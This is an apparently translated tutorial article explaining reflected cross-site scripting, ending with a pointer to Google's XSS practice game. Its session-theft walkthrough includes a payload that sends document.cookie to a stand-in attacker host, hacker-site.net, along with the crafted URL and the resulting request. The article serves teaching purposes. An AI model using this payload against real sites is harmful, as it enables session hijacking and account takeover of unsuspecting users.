Web7: XSS Exploits – Part 1: Reflected XSS
In this article, TipsMake.com will learn with you about the Reflected XSS exploit.
What is Cross-Site Scripting?
Cross-Site Scripting (XSS) is one of the most popular attack techniques today, dubbed the Godfather of Attack, and for many years has been listed as one of the most dangerous attack techniques with applications. web.
Not referred to as CSS for short to avoid confusion with HTML's Cascading Style Sheet concept. XSS
technique
To execute malicious Javascript scripts to take over the user's login session.
To understand better, let us consider the following example. A web application that allows us to print the value that we pass in through the URL, assuming passing the name variable with a Ping value:
Everything is fine so far, let's review the html source code:
It is easy to see that the name value that we entered has been inserted into the source code. Then it is possible that whatever is entered can also be inserted. The problem becomes more serious if the value entered is not a normal string like the one above but a potentially dangerous piece of code, something like this:
Try again with the above value:
From this example two things can be concluded. First, the variable name can take any input value and transmit it to the server for processing. Second, the server did not control this input value before returning it to the browser. This leads to the javascript code being inserted into the source code.
XSS is generally divided into 3 main types: Reflected, Stored and DOM based. In this article I will mainly refer to the Reflected XSS technique.
Up to 75% of XSS techniques are based on Reflected XSS. It's called reflected because in this exploit scenario, the hacker must send the victim a URL containing the malicious code (usually javascript). The victim only needs to request to this URL, the hacker will immediately receive a response containing the desired result (reflexivity shown here). It is also known as first-order XSS.
Exploitation scenario in reality
There are many ways to exploit through the Reflected XSS bug, one of the most known is to take a user's session, from which they can access data and gain their rights on the website. .
Details are described in the following steps:
1. User logs in to the web and assumes session assigned:
Set-Cookie: sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4
2. Somehow the hacker can send the user the URL:
http://example.com/name=var+i=new+Image;+i.src='http://hacker-site.net/'%2bdocument.cookie;
Assuming example.com is the website the victim visits, hacker-site.net is the site created by the hacker
3. Victim accesses the above URL
4. The server responds to the victim, with the data included in the request (the hacker's javascript)
5. The victim browser receives the response and executes the javascript
6. The actual javascript that the hacker created is as follows:
var i=new Image; i.src='http://hacker-site.net/'+document.cookie;
The above command line essentially makes a request to the hacker's site with a user cookie parameter:
GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1Host: hacker-site.net
7. From his site, the hacker will capture the above request and consider the user's session to be occupied. At this point, the hacker can pretend to be the victim and exercise all the rights on the website that the victim has.
Practice
Google has created a page to practice XSS exploit here: https://xss-game.appspot.com
The goal of these challenges is that you have to inject scripts to get a popup. In the first challenge, which illustrates the reflected technique, the mining code is quite simple:
https://xss-game.appspot.com/level1/frame?query=alert('pwned')
Good luck!
You should read it
- Exploding bank code
- Web6: SQL Injection - Some Exploit Tools
- Web3: SQL injection - Exploit directions
- Web2: SQL Injection - Other Exploits
- Enhance Windows 10 security with Exploit Protection
- Web9: XSS Exploits - Part 3: Dom Based XSS
- Web8: XSS Exploits - Part 2: Stored XSS
- Millions of Android devices stick with security holes in firmware, hackers can exploit to lock users' machines
- Matrix Ransomware is back under the distribution of RIG Exploit Kit
- Web4: SQL injection - Exploitation steps
- Discover new Zero-Day vulnerabilities that target bugs in Windows 10 Task Scheduler
- What is Cryptojacking and how to combat this malware?
Maybe you are interested
How are Intel's U, P and H chips different? The most 'difficult to eat' shrimp on the planet, can live in water as hot as 450 degrees Celsius How to handle when your computer has an application not found error Why is the minimum air conditioner copper pipe length 3m? The AI chip has 20 times more power than Nvidia H100 4 online mindmap tools to draw mind maps online